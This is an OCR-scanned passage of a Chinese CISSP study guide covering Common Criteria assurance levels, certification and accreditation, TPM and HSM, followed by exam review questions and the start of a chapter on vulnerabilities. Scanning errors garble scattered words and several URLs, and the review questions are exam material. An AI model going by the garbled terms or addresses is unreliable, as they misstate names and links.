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CISSP 官方学 习指南(第 7 版)
8.3.5 通用准则
通用准则几乎是全球性的标准， 涉及使用 TCSEC 和 ITSEC 以及其他标准的所有人员 。 最终，
这导致人们能够购买 CC 评估的产品 ， 其中 CC(Common Criteria)表示通用准则。 通用准则定义了测
试和确认系统安全能力的各种级别， 其中级别数表明 己执行测试和配置的种类。 然而， 我们必须认
识到: 即使是最高的 CC 等级， 也并不等同于保证系统主色对安全或者完全没有会被加 以利用的脆弱
性或敏感性。 通用准则被设计用做产品评估模型 。
1 . 通用准则的认可
除 了警告和免责声明之外， 加拿大、 法国、 德国、 英 国和美国的政府机构代表在 1 998 年签署同
意了标题为 " π 安全领域内通用准则认证认可协议" 的文档， 从而使通用准则成为国际性标准。 ISO
将这个文档转换为名为 ISO 15408 "信息技术安全的评估标准" 的官方标准。 下面列 出 了 CC 指导原
则 的 目 标:
• 增加购买者对己评估和 己划分等级 的 IT 产品 的 安全性的信心。
• 消除重复评估(除其他外 ， 如果某个国家、 机构或验证组织对特定系统的评定等级和配置遵
循 CC ， 那么其他国家、 机构或验证组织就不需要进行重复的工作)。
• 使安全评估和认证过程更有效益和效率 。
• 确保 IT 产品 的评估遵循高且一致性标准。
• 促进评估， 并且增强 己评估和 己划分等级 的 IT 产 品 的可用性。
• 评估 TOE 的功能性(也就是系统的功能)和保证(也就是系统的被信任程度)。
可 以在 Web 站点 问://www.niap-∞evs.orgl∞-scheme!上查找到通用准则文档。 访问该站点可以
得到最新版本的 CC 指导原则、 使用 CC 的指南 以及大量有用 的其他相关信息。
通用准则过程基于两个关键元素: 保护轮廓和安全 目 标。 保护轮廓(Protection Pro:files， PP)指定
被评估产品σOE)的安全需求和保护， 这也是客户考虑的安全要求或 "希望达到的标准"。 安全 目 标
(Security Targets， ST)指定了 供应商在 TOE 内 构建的安全声明 。 ST 被视为己实现的安全措施或供应
商 "提供的安全 目 标"。 除了提供安全 目 标之外， 供应商还提供额外的安全特性包。 包是安全需求组
件的中 间分组， 既可以被添加到 TOE 中 ， 也可以从 下OE 中去除(就像购买新车时的可选包一样)。
将 PP 与选定供应商的 TOE 中 的各种 ST 进行比较， 最接近或最匹配的就是客户要购买的。 为
了 选择当前可用 的系统， 客户最初基于公布或推销的评估保证级别或 EAL(Evaluation Assurance
Leve!' 后面会详细介绍 EAL 的 内容)来选择供应商 。 使用通用准则来选择供应商， 这允许客户精确
地请求所需 的安全性， 而非不得不使用静态的固定安全级别。 使用通用准则还允许供应商在设计和
生成产品时具有更大的灵活性。 定义 良好的一组通用准则支持主体性和多用性， 并且能够自 动适应
变化的技术和威胁环境 。 此外， EAL 提供了 一种 比较供应商系统是否更标准化的方法(和较早的
TCSEC 一样) 。
2. 通用准则的结构
CC 指导原则被分为下列三部分:
部分 1 介绍和一般模型描述(lntroduction and General Model)用于评估 IT 安全性和指定评估 目
标时涉及的一般概念与基本模型。 对于不熟悉安全评估工作过程的人， 或者阅读和解释评估结果时
第 B 章 安全模型的原则 、 设计和功能
需 要寻求帮助的人来说， 这部分是非常有用 的介绍和说明材料 。
部分 2 安全功能需求(S巳curity Functional Requirement)描述与安全审计、 通信安全、 安全性的
密码学支持、 用户数据保护、 身份标识和身份认证、 安全管理、 TOE 安全功能σSF)、 资源利用 、
系统访 问 以及可信路径有关的各种功能需求。 这部分覆盖 cc 评估过程中 能够预想到的完整安全功
能范围， 井且还具有解释每个功能 区域的额外附录。
部分 3 安全保证(Security Assurance)涉及 TOE 在配置管理、 传送和操作、 开发、 指导文档与
生命周期支持领域的保证需求， 以及保证测试和脆弱性的评估。 这部分覆盖 cc 评估过程中预想到
的安全保证检查和保护轮廓的完整范围， 并且还具有与描述如何设计、 检查和测试系统的评估保证
级别相关的信息 。
出 现在各种 cc 文档(这些文档至少值得通读-遍)中 的大多数重要信息都是评估保证级别
(EAL) 0 表 8.4 概括了 从 1 到 7 的 EALo 关 于 EAL 的 完整说 明 ， 可查看 cc 文档(网址为
https://www.niap-ccevs.org/)并查看最新修订的第 3 部分 。
表 8.4 CC 评估保证级别
级到 保证级别 说明
EALl 功能测试 要求正确操作的一定置信度， 但是在安全威胁不严重的时候可以应用该级别。 当应用了适当
关注的独立保证来包含个人信息时， 这个级别非常有用
EAL2 结构测试 设计信息和测试结果的交付与 良好的商业应用一致时可以应用该级别。 在开发人员或用户要
求从低级到中等的独立保证安全性时， 这个级别非常有用 。 尤其在评估传统系统时， IT 与该
级别 的关系很大
EAL3 系统地测试和 安全工F勤人设计阶段开始， 并且随后未发生重大更改直至完成的时候可以应用该级别。 在开
检查 发人员或用户要求从低级到中等的度量保证安全性时， 这个级别非常有用(包括对 TOE 及其
开发的彻底研究)
EAlA 系统地设计、 己使用严格、 确定的安全工程和 良好的商业开发实践时可以应用该级别。 这个级别不要求大
测试和回顾 量的专业知识、 技能或资源， 涉及所有 TOE 安全功能的独立测试
EAL5 半正式设计和 使用严格的安全工程和商业开发实践(包括专业的安全工程技术)来进行半正式测试。 开发入
测试 员 或用户要求高级别的度量保证安全性时(以计划好的开发方式开始， 随后进行严格的开发)
可 以应用该级别
EAL6 半正式验证、 在设计、 开发和测试的所有阶段都使用直接、 严格的安全工程技术， 从而生成优良的 TOE。
设计和测试 在需要高风险状况下的 TOE 时可以应用该级别 。 此时受保护资产的价值会证明额外的成本
是合理的。 广泛的测试减少了渗透的风险、 隐蔽通道的可能性以及被攻击的脆弱性
EAL7 正式验证、 设 只 用于最高风险状况或涉及高价值资产的情况。 这个级别限于这样的 TOE: 密切关注的安全
计和测试 功能性需要进行广泛的正式分析和测试
尽管 cc 指导原则具有足够的灵活性和适应性来获取大多数安全需求， 但是绝非完美。 与其他
评估标准一样， cc 指导原则并不确认用户对数据的处理方式也是安全的。 cc 指导原则也没有解决
特定安全范围之外的行政管理问题。 与其他评估标准一样， cc 指导原则没有包含对原位置安全性
的评估， 也就是说不涉及与人员 、 组织的实践和措施或物理安全相关联的控制。 同样， cc 指导原
则 也没有解决对电磁辐射的控制， 并且不存在对明确安排的密码学算法的强度进行等级评定的标准。
尽管如此， cc 指导原则仍然代表系统评定安全性等级所采用的某些最优技术。 为 了结束对安全评
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CISSP 官方学习指南(第 7 版)
估标准的讨论， 表 8.5 简要比较了 TCSEC、 盯SEC 和 CC 的各种等级。 表 8.5 表明每个标准的评级
有相似但不相同 的评价标准。
表 8.5 安全评估标准的比较
TCSEC ITSEC CC 作用
D F-D+EO EALO、 EALl 最小化/无保户
Cl F-Cl+El EAL2 自 主安全机制
C2 F-C2+E2 EAL3 受控访问保护
Bl F-Bl +E3 EAL4 标签化安全保护
B2 F-B2+E4 EAL5 结构化安全保护
B3 F-B3+E5 EAL6 安全域
Al F-B3+E6 EAL7 己验证安全设计
3. 行业和国际安全实施指南
除了整体的安全访问模型， 如常见的 CC 标准， 还有许多其他用于存储、 通信、 事务等各个方
面的更具体或集中的安全标准。 有两个标准你应该熟悉， 它们是支付卡行业数据安全标准(PCI-DSS)
和 国 际标准化组织(ISO)。
PCI-DSS 是提高电子支付交易安全要求的集合。这些标准由 PCI 安全标准委员会的成员进行制订，
这些成员主要来自信用卡银行和金融机构。 PCI-DSS 定义了安全管理、 策略、 手里亨、 网络架构、 软件
设计的要求及其他关键的保护措施。 关于 PCI-DSS 的更多信息， 访问 网站www.pcisecuritystandards.org。
国 际标准化组织是由不同国家标准组织的代表组成的世界性标准组织。 国际标准化组织定义了
工业和商业设备、 软件、 协议、 管理以及其他的标准， 有6个主要产品 : 国际标准、 技术报告、 技
术规范、 公开规格、 技术勘误表和指南。 ISO 标准己被许多行业广泛接受， 甚至被采纳为各国政府
的要求或法律。 关于 ISO 的更多信息， 访问网站WWW.lso.org.
8.3.6 认证和鉴定
要求系统安全的组织需要通过一种或多种方法来评估系统满足安全要求的幸自支。 正式的评估过
程被分为两个阶段: 认证和鉴定 。 每个阶段要求的实际步骤取决于组织选择的评估标准。 参加 CISSP
考试的考生必须理解每个阶段的要求和通常用于评估系统的标准。 这两个评估阶段将在接下来的两
节 中进行讨论， 然后我们会讨论在评定系统的安全性时， 必须确定的不同评估标准和需要考虑的事
情 。 认证和鉴定过程用来评估应用程序的有效性， 以及操作系统和硬件的安全性。
评估的过程为评价系统在多大程度上达到所期望的安全级别提供了一种衡量方法。 因为每个系
统的安全级别取决于很多因素， 所以在评估过程中必须考虑所有这些因素。 即使某个系统一开始就
被认为是安全的 ， 安装过程、 物理环境和一般配置的详细信息都会对系统达到真正的一般性安全有
所影响 。 由 于配置或安装上的差别 ， 两个相 同 的系统可 以在不同的安全级别上进行评估。
提示 :
才接妾下来要却斗伎史用 的 术语 飞人证" 、 "鉴鉴定" 和
这些术语 。
第8章 安全模型的原则 、 设计和功能
认证和鉴定是软件和 IT 系统开发过程中的额外步骤， 通常美国国防部的承包项 目和其他在军事
环境中工作的系统都要求执行这样的步骤。 美国政府使用的这些术语的官方定义来源于美国 国 防部
指令性文件 5200.40 的 附件 2 。
1 . 认证
整个评估过程中 的第一个阶段是认证。 认证是对 π 系统的技术和非技术安全特性以及其他防护
措施的综合评估， 这能够支持鉴定过程， 从而确定特定设计和实现满足一组指定安全要求的程度。
系统认证是对计算机系统的每个部分进行技术性评估， 以便评估系统与安全标准是否一致。 首
先 ， 必须选择评估标准(我们将会在稍后部分探讨可以选择的标准)。 一旦选择使用的标准， 就要分
析每个系统组件， 以确定其是否达到所期望的安全 目 标。 认证分析过程包括测试系统的硬件、 软件
和 配置情况。 在这个阶段被评估的所有控制包括行政管理控制 、 技术控制和物理控制。
在评估完整个系统之后 ， 可 以对结果进行评估， 以便决定系统在当前环境中支持的安全级别。
系统的环境是认证分析过程的一个关键部分， 因此系统的安全性或多或少地依赖于其所处的环境。
安全系统与网络连接的方式会改变系统的安全状况。 同样， 系统周围的物理安全保护措施也会影响
整体的安全等级 。 因此， 在认证系统时， 必须全面考虑所有的因素。
在评估完所有的因素和确定系统的安全级别后， 认证阶段就完成了 。 需要记住的是， 认证仅对
处于特定环境和配置中 的系统有效。 任何改变都会使认证无效。 一旦为某个特定的配置认证了 安全
等级， 就可 以准备验收系统了 。 管理部 门通过鉴定过程验收经过认证的系统的安全配置。
2. 鉴定
在认证阶段， 我们测试和记录了具有特定配置的系统的安全能力 。 拥有了 这些信息 ， 组织的管
理层就会将系统的安全能力与组织的需求进行比较。 安全策略中 明确指出系统的安全要求是强制性
的 。 管理层审查认证信息并确定系统是否满足组织的安全需求。 如果管理层确定系统的认证符合组
织的要求， 那么系统就通过了 鉴定 。 鉴定是由指定许可机构(Designated Approving Au也ority， DAA)
做出 的正式声明 ， 它表明准许 IT 系统使用规定的一组防护措施在可接受的风险级别 以特定的安全模
式运作 。 鉴定一旦完成， 管理层就可 以正式接受被评估系统的总体安全性的适用 性 。
注意 :
认证和鉴定似乎是相似的 ， 因 此真正理解它们往往非常 困难。 可以参照的一个观点是: 认证通
常是内部的安全马的正， 只有你所在的组织才相信验证结果; 鉴定通常是由第二方测t式服务执行的 ，
其结果在信任特定测试组织 的所有人看来都是可信的 。
认证和鉴定的过程通常是一个不断重复的过程。 在鉴定阶段， 请求通过改变系统配置或增加控
制来解决安全问题的情况时有发生 。 需要记住的是， 只 要更改了配置， 就必须重新认证新的配置。
同样， 当经过一段具体的时间后或进行了任何配置变更后， 都必须重新认证系统。 安全策略应当明
确指出什么样的情况需要进行重新认证。 优 良的安全策略会列出 认证有效的时间 以及要求重新开始
认证和鉴定过程的任何更改。
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2丁0
CISSP 官方学 习指南(第 7 版)
3. 认证和鉴定系统
目 前有下列两种政府标准适用于计算系统的认证和鉴定: 目 前的美国国防部标准是风险管理框
架(R1庙， 参见www.dtic.mil/whs/directives/ corres/pd:fì'85 1 00 1_2014. P哟， 它于最近取代了美国国防部
信息保障认证认可过程(DIACAP)以及美国 国防部信息技术安全认证和认可过程ρITSCAP); 适用于
其他所有美 国政府行政部 门 、 机构及其承包商和顾 问 的标准是美国国家安全系统委员会策略
CNSSP， 参见 www .ncix.gov/publicationslpolicy/docs/CNSSP_22.pdf. 它取代了美国 国家信息保障认
证和认可过程例lACAP)。 然而， CISSP 可能涉及当前或以前的标准。 这些过程都分为 4 个阶段:
阶段 1 : 定义 涉及适当的项 目 人员 分配、 关键需求的记录以及指导整个认证和鉴定过程的系
统安全许可协议(System Security Authorization Agreement， SSAA)的注册、 协商和创建。
阶段 2 : 验证 包括细化 SSAA、 系 统开发活动 以及认证分析。
阶段 3 : 确认 包括进一步细化 SSAA、 集成系统的认证评估、 DAA 建议的开发以及 DAA 的鉴
定结果。
阶段 4 : 后鉴定 包括维护 SSAA、 系 统操作、 变更管理 以及遵从性验证。
由美国国家安全局的信息系统安全组织管理的 NIACAP 过程概述了 可以准许的三种不同 鉴定
类型 。 根据美国 国家 安全通信与信息系统安全指定性文件 1 000 ， 这些鉴定类型的定义如下:
• 针对系统的鉴定， 评估主要的应用程序或通用支持系统。
• 针对场所的鉴定 ， 对位于特定的 自 包含位置的应用程序或系统进行评估。
• 针对类型的鉴定， 评估分布在许多不同位置的应用程序或系统 。
8.4 理解信息系统的 安全功能
信息系统的安全功能包括内存保护、 虚拟化、 可信平台模块、 接 口和容错能力。 认真评估基础
设施的各方面， 并确保充分支撑安全是非常重要的。 如果不了 解信息系统的安全功能， 就不可能对
它们进行评估 ， 也不可能恰当 地使用它们。
8.4.1 内 存保护
内存保护是一个核心的安全组件， 必须对它进行设计和在操作系统中加以实现。 无论程序是否
在系统中执行， 它都必须被执行。 否则将导致不稳定、 完整性的违反、 拒绝服务以及信息泄露的结
果。 内存保护被用于防止活动进程与没有专 门 指派或分配的内存区域进行交互。
内存保护在整个第 9 章都会被讨论， 涉及的主题包括隔离、 虚拟内存、 分段、 内存管理和保护环。
8.4.2 虚拟化
虚拟化技术被用于在单一主机的内存中运行一个或多个操作系统。 这种机制允许在任意硬件上
虚拟运行任何操作系统， 也允许多个操作系统同时工作在相同的硬件上 。 常见的例子包括 VMware、
微软的虚拟 陀、 微软虚拟服务器、 运行 Windows Server 的 Hyper-V、 Oracle 的 VIrtuaffiox， XenServer
以及 Mac 的 Parallels Desktop 。
第8章 安全模型的原则 、 设计和功能
虚拟化有很多好处， 比如能够启动单个服务或需要的服务实例 ， 还能实时扩展， 以及能够为特
殊的服务运行额外的 OS 版本。 从用户 的角度来看， 虚拟化的服务器和服务与传统的服务器和服务
是没有区别的。 此外， 损坏、 崩溃或毁坏的虚拟系统的恢复通常很快， 只 需简单使用干净的备份版
本替换虚拟系统的主硬盘文件， 然后重新启动就可以 了(虚拟化的其他内容和一些相关的风险都包括
在第 9 章对云计算的讨论中)。
8.4.3 可信平台模块
可信平台模块σPM)既是对主板上加密处理器芯片的描述， 同时也是描述实施的通用名称。 TPM
芯片用于存储和处理加密密钥， 从而满足基于硬件支持/实现的硬盘加密系统。 一般来说， 用硬件实
现 比用 纯软件实现硬盘加密更安全。
当使用基于 TPM 的全磁盘加密技术时， 用户/操作员必须提供一个密码或物理 USB 令牌设备给
计算机用于身份认证， 并允许 TPM 芯片向 内存释放硬盘加密密钥。 虽然这看上去类似软件实现，
但关键的区别是如果硬盘被从原来系统中删除， 将不能被解密 。 只 有原来的 TPM 芯片能进行加解
密和访问。 如果仅用软件硬盘加密， 硬盘可以移到一台不同的计算机且没有任何的访问或使用限制。
硬件安全模块白SM)用于管骂宙存储数字加密密钥、 加速加密操作、 支持更快的数字签名 ， 以及
提高身份认证的速度 。 HSM 通常是附加的适配器、 外部设备或是 TCPIIP 网络设备。 HSM 包括防篡
改保护 以 防止滥用 ， 即 便攻击者 可 以对其进行物理访 问 。 TPM 就是一个 HSM 示例 。
HSM 提供大型(2048 位以上)非对称加密计算的加速解决方案， 以及密钥存储安全保护 。 许多认
证系统使用 HSM 来存储证书; iITM 和 POS 终端通常采用专有的 HSM; 硬件 SSL 加速器可以包括
HSM 支持; 兼容 DNSSEC 的 DNS 服务器使用 HSM 提供密钥和 区域文件存储。
8.4.4 接 口
在应用程序中 ， 使用约束或受限接口的目 的是限制用户在基于他们的权限上可以做什么或看到
什么 。 具有全部权限的用户可以访 问应用程序的所有功能。 有限制权限的用户 则被限制访问 。 应用
程序使用不 同的方法来限制接口 。 一个常见的方法是: 如果用户没有使用功能的权限， 就将功能隐
藏。 命令可通过菜单或右击一项提供给管理员来使用 ， 但如果普通用户 没有权限 ， 命令则不会出现。
其他时候命令可被显示 ， 但被变暗或禁用 。 普通用 户 虽然可 以看到 ， 但无法使用 。
约束接口的 目 的是限制或制止授权和未经授权用 户 的行为。 这接口 的使用就是 Clark-Wilson 安
全模型的一种实践应用 。
8.4.5 容错
容错能力是指系统遭受故障， 但能持续运行的能力。 容错是添加冗余组件， 如在廉价磁盘冗余
阵列(RAID)中添加额外的磁盘， 或在故障转移集群配置中添加额外的服务器。 容错是安全设计的一
个基本要素， 被认为是避免单点故障和实现冗余的部分措施。 关于容错、 冗余服务器、 RAID 和故
障转移解决方案的更详细信息， 可参见第 1 8 章 " 灾难恢复计划 "。
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CISSP 官方学 习指南(第 7 版)
8.5 本章小结
安全系统不仅仅是组装起来; 它们需要通过设计来支持安全性。 系统的安全性必须通过它们的
能力是否支持和执行了 安全策略来判断。 判断计算机系统的有效性， 这一评估过程是认证。 认证过
程是对系统能力满足设计 目 标的技术评估。 一旦系统己经令人满意地通过了技术评估， 组织的管理
层就开始对系统进行正式验收。 正式的接受过程就是鉴定 。
完整的认证和鉴定过程取决于标准评估准则 。 其中几个标准是为了评估计算机安全系统。 最早
的 TCSEC 是由美国国防部开发的 。 TCSEC 也被称为桶皮书， 提供了对系统安全组件的功能和保障
的评价准则 。 ITSEC 是 TCSEC 准则的另一个版本并更多用于欧洲国家。 无论使用 的是哪一个准则，
评估过程都包括检查每个安全控制是否符合安全策略。 如果系统更好执行了主体对客体访问 的 良好
行为准则 ， 那么安全级别就会越高。
当设计安全系统时， 创建安全模型来表示系统将使用 的方法， 往往有助于实现安全策略。 我们
在这一章中讨论了几个安全模型。 Bell-LaPadula 模型只支持数据的保密性由军队设计并满足军事要
求。 Biba 模型和 Clark-Wilso 模型以不同的方式应对数据的完整性， 这两个安全模型适合于商业应用。
对所有这一切的理解应该根据预防、 检测、 纠正控制而形成有效的系统安全措施。 这就是为什
么 必须知道访问控制模型及其功能的原因 ， 包括状态机模型、 Bell-LaPadula 模型 、 Biba 模型、
Clark -Wilson 模型、 信息流模型、 非干扰模型、 Take-Grant 模型、 访问控制矩阵模型以及 Brewer and
Nash 模型。
8.6 考试要点
了解每种访问控制模型的细节。 了 解各种访问控制模型及其功能。 状态机模型确保主体访问 客
体的所有实例都是安全的。 信息流模型被设计用于阻止非授权的、 不安全的或受限的信息流。 非干
扰模型能够阻止一个主体的动作影响另一个主体的系统状态或动作。 Take-Grant 模型规定了如何将
权限从一个主体传递至另一个主体或者从一个主体传递至一个客体。 访问控制矩阵是一个由主体和
客体形成的表， 这个表规定了每个主体能够在每个客体上执行的动作或功能。 Bell-LaPadula 主体具
有一个许可级别， 这个许可级别只 允许访 问具有相应分类级别的客体。 Biba 模型能够防止具有较低
安全级别的主体对具有较高安全级别的客体进行写操作。 Clark-Wilson 是一个依赖于审计的完整性
模型， 能够确保未授权的 主体无法访 问客体以及被授权的用户 能够正确地访问客体 。 Biba 和
Clark-Wilson 模型实现了完整性。Goguen-Meseguer 和 Sutherland 模型关注于完整性。 Graham-Denning
模型关注于主体和客体的安全建立和删除。
了解认证和鉴定的定义。 认证是从技术角度评估计算机系统的每个部分， 从而判断是否与安全
标准相一致。 鉴定是正式验收 己认证的配置的过程 。
能够描述开放式系统和封闭式系统。 开放式系统是使用行业标准设计的， 一般比较容易与其他
的开放式系统进行整合。 封闭式系统通常是专有硬件和/或软件 ， 它们的设计规范一般不会公开， 并
且往往较难与其他系统进行整合。
知道限制、 界限和隔离的含义。 限制是对进程从特定内存地址读取(和写入)数据进行限制。 界
限是进程在读取或写入数据时不能超越的特定内存地址的范围。 隔离是通过使用 内存界限而将进程
加 以限制 的一种运行模式。
第8章 安全模型的原则 、 设计和功能
能够从访问资源的角度定义客体和主体。 访 问的主体是提出访问资源请求的用户或进程。 访 问
请求的客体是用 户或进程希望访 问 的资源。
了 解安全控制的工作原理及功能。 安全控制使用访问规则来限制 主体对客体 的访问。
能够列出 TCSEC、 ITSEC 和通用准则的类别。 TCSEC 的类别包括己验证保护 、 强制性保护、
自 主性保护和最小化保护 。 表 8.5 概述并比较了 TCSEC、 町SEC 和 CC 的相当且适用的等级(需要记
住的是， ITSEC 中 从 F7到FI 0 的功能性等级没有对应 的 TCSEC 等级)。
定义可信计算基(TCB)o TCB 组合了硬件、 软件和控制(形成了 实施安全策略的可信基) 。
能够解释安全边界。 安全边界是想象出来的， 用 于将 Tα 与系统其余部分分隔的界限。 TCB
组件与非 TCB 组件之间的通信使用可信路径。
知道什么是引用幽空器和安全内核。 引 用监控器是 TCB 的逻辑部分， 对主体在被授予访问权限
之前是否具有使用 资源的权限进行确认。 安全 内核是实现引用监控器功能的 TCB 组件的集合 。
了解信息系统的安全功能。 常见的安全功能包括内存保护、 虚拟化和可信平台模块σPM)。
8.7 书面实验室
1 . 说出至少 7 个安全模型。
2. 描述 TCB 的主要组成。
3. Bell-LaPadula 安全模型的两种主要的规则或原则是什么 ? 另外 ， Biba 模型的两条规则是
什 么 ?
4. 开放式和封闭式系统 以及开源和 闭源的 区别是什么 ?
8.8 复习题
1 . 系 统认证是什么 ?
A. 正 式接受确 定的系统配置
B. 对计算机系统每部分的 技术评估， 以评估其是否符合安全标准
C. 对制造商 目 标的功能评估， 为了让每个硬件和软件组件都满足集成标准
D. 制造商的证明， 说明所有组件都被正确安装和配置
2. 系统鉴定是什么 ?
A. 正式可接受的系统配置声 明
8. 为 了 每个硬件和软件组件都满足集成标准 ， 对制造商 目 标进行的功能评价
c. 证明计算机系统实施安全策 略的可接受的测试结果
D. 指定两台 机器之间 的安全通信 过程
3. 封 闭式系统是什么 ?
A. 围绕着最终、 封 闭或标准设计的系统
B. 包括工业标准的系统
c. 使用 未公布协议的专有系统
D. 没有运行 Windows 的任意主机
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214
CISSP 官方学 习指南(第 7 版)
4. 以 下哪一项更好地描述了 限制或约束的过程?
A. 仅可以在有限的时间 下运行的过程
B. 仅可以在一天中 的某些时间运行的 过程
巳 仅可以访问某些内存空间 的过程
D. 对客体控制访问 的过程
5. 访 问客体是什么 ?
A. 用 户或进程想要访 问 的资源
B. 可 以访 问 资源的用户或进程
已 有效访 问规则 的列表
D 有限访 问类型的序 列
6. 安全控制是什么 ?
A 存储了描述客体特性的 安全组件
B. 列 出所有数据分类类型的 文件
C. 有效的访 问 规则列表
D. 限制访 问 客体的机制
7. 信 息系统安全鉴定 的什么类型 ， 是在特定 的 、 独立的位置对应用和系 统进行评估?
A 系统鉴定
B. 站点鉴定
C. 应用鉴 定
D. 类型鉴定
8. TCSEC 标准定义 了 几种主要类型 ?
A. 2
B. 3
C. 4
D. 5
9. 可信计算基(TCB)是什么 ?
A. 在网络上支持安全传输的主机
B. 操作系统 内 核和设备驱动程序
C. 硬件、 软件和控制结合在一起实现安全策略
D. 验证安全策略的软件和控制
1 0. 安全边界是什么 ?
A. 围绕系统的物理安全区域的边界
B. 把 TCB 和系统其他部分隔离的假想边界
C. 防火墙所在的网络
D. 计算机系统的任何连接
11. TCB 概念的什么部分验证了 在授予每个资源需求权限前的每次访问 ?
A. TCB 分 区
B. 信任库
C. 号| 用 监控器
D. 安全 内 核
第8章 安全模型的原则 、 设计和功能
1 2 安全模型的最佳定义是什么 ?
A. 安全模型描述了 组织必须遵循的策略
B. 安全模型提供一个框架来实现安全策略
C. 安全模型是计算机系统每部分的技术评估， 以评价与它们-致的安全标准
D 安全模型是认证配置正式被接受 的过程
1 3 哪个安全模型建立在状态机模型之上?
A. Bell-LaPadula 和 Take-Grant 模型
B. Biba 和 Clark-Wilson 模型
C. Clark-Wilson 和 Bell主aPadula 模型
D. Bell-LaPadula 和 Biba 模型
14. 哪个安全模型关注数据 的机密性 ?
A. Bell-LaPadula 模型
B. Biba 模型
C. Clark-Wilson 模型
D. Brewer and Nash 模型
1 5 哪个 Bell-LaPadula 属性阻止低级别的 主体访 问 高级别的客体?
A. (星)安全属性
B. 不准向上写属性
c . 不准向上读属性
D. 不准向下读属性
1 6. Biba 模型的简单属性的含义是什么 ?
A. 向下写
B. 向 上读
c. 不准向上写
D. 不准向下读
17. 当可信主体违反了 Bell-LaPadula 模型的星安全属性时， 为 了把客体写入低级别， 什么可行
的操作可能会发生 ?
A 扰动
B. 多 实例
C. 聚合
D. 移除分类
18. 什么 安全方法、 机制或模型揭示 了 一个主体访 问 多个客体的能力 ?
A. 职责分离
B. 访 问控制矩阵
C. Biba 模型
D. Clark-Wilson 模型
19. 什么安全模型拥有在理论上含有名称或标签的功能， 但是在解决方案中实现时 ， 需要安全
内 核的名称或标签?
A. Graham-Denning 模型
B. Deployment 模型
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216
CISSP 官方学习指南(第 7 版)
C. 可信计算基
D. Chinese Wall
20. 下列哪一项不是 Clark-Wilson 模型的访问控制 关系 的一部分?
A. 客体
B. 接 口
C. 编程语言
D. 主体
第 9 ..z:c二
写主
安全脆弱性 、 威胁和对施
本章中覆盖的 CISSP 考试大纲包含 :
3) 安全工程(安全的工程学和管理)
• E. 评估和缓解安全架构、 设计和解决方案元素的脆弱性
E. l 基于客户端(例如 ， applet、 本地缓存)
E.2 基于服务器(例如 ， 数据流控制)
E.3 数据库安 全(例如 ， 推理、 汇聚、 数据挖掘 、 数据分析、 数据仓库)
E.4 大规模并行数据系统
E.5 分布式系统(例如 ， 云计算、 网格计算、 点对点)
E.6 密码系统
E.7 工业控制系统(例如， SCADA)
• F. 评估和缓解基于 Web 的系统(例如， XML、 OWASP)的脆弱性
• G. 评估和缓解移动系统的脆弱 性
• H. 评估和缓解嵌入式设备和物联网系统(例如 ， 网络使能设备、 物联网(loT))的脆弱性
本书前面的章节中 ， 我们 己经涉及了基本的安全原则 ， 以及防止这些原则被破坏的保护机制。
我们还研究了一些恶意人士为寻求规避这些保护机制而使用的特定类型攻击。 至此， 在讨论预防措
施时， 我们一直专注于策略措施和运行在系统上的软件。 然而， 安全专业人员也必须认真注意系统
本身， 并确保他们的更高级别的保护控制不是建立在摇摇欲坠的基础之上。 毕竟， 如果运行中的计
算机存在简单的安全漏洞， 并允许恶意人士轻易地完全绕过防火墙， 那么 即使世界上最安全的防火
墙配置也不会发挥一点儿作用 。
在本章中 ， 通过开展一项被称为计算机架构的简单调查， 我们将涉及这些潜在的安全关注点:
计算机不同组件的物理设计。 我们会从安全角度检查计算系统每一个主要的物理组件， 包括硬件和
固件。 显然， 由于受资源和时间的限制 ， 对系统硬件组件的详细分析不会很多 。 然而， 所有的安全
专业人员都应该对这些概念至少有个基本的了解， 以防止在遇到降低系统设计水平的安全事件时不
知所措。
安全工程领域涉及广泛的关注点和 问题， 包括安全设计元素、 安全体系结构、 漏洞、 威胁以及
相关的对策。 这个领域的其他元素在各章节中都有讨论: 第6章 " 密码学与对称密钥算法、 第7章
CISSP 官方学习指南(第 7 版)
" PKI 和密码学应用 "、 第8章 " 安全模型的原则 、 设计和功能"、 第 10 章 " 物理安全需求"。 请务
必 回顾所有这些内容 以便对这一领域的问题有个完整的 了解。
9.1 评估和缓解安全脆弱性
计算机体系结构是从逻辑层次考虑的计算系统的设计和构造的工程学规范要求。 许多学院的计
算机工程和计算机科学专业在教学中发现， 用一个学期的课程介绍计算机体系结构的基本原则是很
难完成的， 因此在大学阶段， 相应课程经常需要两个学期才能完成。 计算机体系结构课程在位级别
研究 CPU 组件、 内存设备、 设备通信和类似主题的设计， 为只进行 "0 "或" 1 " 判断的单独逻辑设
备定义处理路径。 大多数安全专家不需要理解到这么深的程度， 这些内 容已经超出本书和 CISSP 考
试的范围 。 但是， 如果工作涉及这个级别的计算系统的设计的安全方面， 那么建议应当更深入地研
究该领域的相关知识。
初步探讨的计算机体系结构似乎与 CISSP 无关， 但是大部分的安全体系结构和设计元素都基于
对计算机硬件的坚实理解和实现。
提示 :
系 统越复杂， 提供的保证越少 。 更多 的复杂性意味着更多存在漏洞的区域以及更多 需要防范威
胁的 区域。 更多 的漏洞和威胁意味着 系 统随后 提供安全的可信度更低。
9.1 .1 硬件
任何计算处理专业人士都熟悉硬件的概念。 与建筑业一样， 硬件是组成计算机的物理 "材料"。
术语 "硬件 " 包含计算机可以实际触摸到的任何有形部分， 范围从键盘、 显示器到CPU、 存储介质
和 内存条。 需要小心的是， 虽然存储设备(如硬盘或闪存)的物理部分可以认为是硬件， 但是在这些
设备里存储的 、 构成软件和数据的0和l 集合就不属于硬件了。 毕竟， 无法触摸到计算机的 内部， 然
后将一些 比特和宇节分离 出来!
218
1 . 处理器
通常被称为处理器的 CPU 是计算机的神经中枢， 是一个芯片或多个芯片(在多处理器系统中)，
负 责管理所有重要的计算操作， 并且直接执行或协调复杂的计算工作， 从而使计算机完成预定的任
务。 令人惊讶的是， 虽然允许计算机执行复杂的任务， 但 CPU 实际上都只能执行有限的计算和逻辑
操作集。操作系统和编译器负责将用于设计软件的高级编程语言翻译为 CPU 能够理解的简单汇编语
言指令。 限制功能的范围 是有 目 的 的 : 这允许 CPU 以极快的速度执行计算和逻辑操作 。
注意 :
对于这些年来关于计算机才支术数量级的发展， 可以参见 htφ:// en. wiki pedia. orglwikilMoore' s一1aw
上对摩 尔 定律的描述。
2. 执行类型
由于计算机的处理能力不断增强， 因此用户对计算机有了 更高的功能要求， 他们希望系统用更
快的速度处理信息， 并且能够同时处理多种功能。 于是， 计算机工程师设计出 了满足这些需求的一
第9章 安全脆弱性、 威胁和对施
些方法。
提示 :
乍看起来， 术语 "多 任务处理" 、 哆 处理" 、 "多程序设计" 和 "多 线程处理" 似乎完全相 同 。
